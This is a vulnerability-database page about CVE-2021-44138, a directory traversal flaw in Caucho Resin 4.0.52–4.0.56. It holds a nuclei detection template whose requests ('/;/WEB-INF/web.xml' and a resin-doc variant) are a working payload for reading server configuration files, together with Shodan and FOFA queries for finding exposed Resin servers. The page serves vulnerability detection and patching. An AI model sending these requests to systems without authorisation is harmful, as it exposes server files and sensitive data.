HexBrain

Browse / CVEs / CVE-2021-44138

CVE-2021-44138· caucho / resin· CWE-22

Caucho Resin >=4.0.52 <=4.0.56 - Directory traversal

highseverity
7.5CVSS score
12.3%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

There is a Directory traversal vulnerability in Caucho Resin, as distributed in Resin 4.0.52 - 4.0.56, which allows remote attackers to read files in arbitrary directories via a ; in a pathname within an HTTP request.

Impact

An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive data exposure.

Fix

Upgrade Caucho Resin to a version higher than 4.0.56 to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/;/WEB-INF/web.xml ; GET {{BaseURL}}/resin-doc/;/WEB-INF/resin-web.xml
Positive when: contains "<web-app" and "</web-app>" AND contains in header "text/xml" or "application/xml" AND status 200

Run it with nuclei: nuclei -id CVE-2021-44138 -u <target>

The full check
id: CVE-2021-44138

info:
  name: Caucho Resin >=4.0.52 <=4.0.56 - Directory traversal
  author: carrot2
  severity: high
  description: |
    There is a Directory traversal vulnerability in Caucho Resin, as distributed in Resin 4.0.52 - 4.0.56, which allows remote attackers to read files in arbitrary directories via a ; in a pathname within an HTTP request.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive data exposure.
  remediation: |
    Upgrade Caucho Resin to a version higher than 4.0.56 to mitigate the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/cve-2021-44138
    - https://github.com/maybe-why-not/reponame/issues/2
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-44138
    cwe-id: CWE-22
    epss-score: 0.12327
    epss-percentile: 0.96229
    cpe: cpe:2.3:a:caucho:resin:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: caucho
    product: resin
    shodan-query:
      - html:"Resin"
      - http.html:"resin"
      - cpe:"cpe:2.3:a:caucho:resin"
    fofa-query: body="resin"
  tags: cve2021,cve,resin,caucho,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/;/WEB-INF/web.xml"
      - "{{BaseURL}}/resin-doc/;/WEB-INF/resin-web.xml"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<web-app"
          - "</web-app>"
        condition: and

      - type: word
        part: header
        words:
          - "text/xml"
          - "application/xml"
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from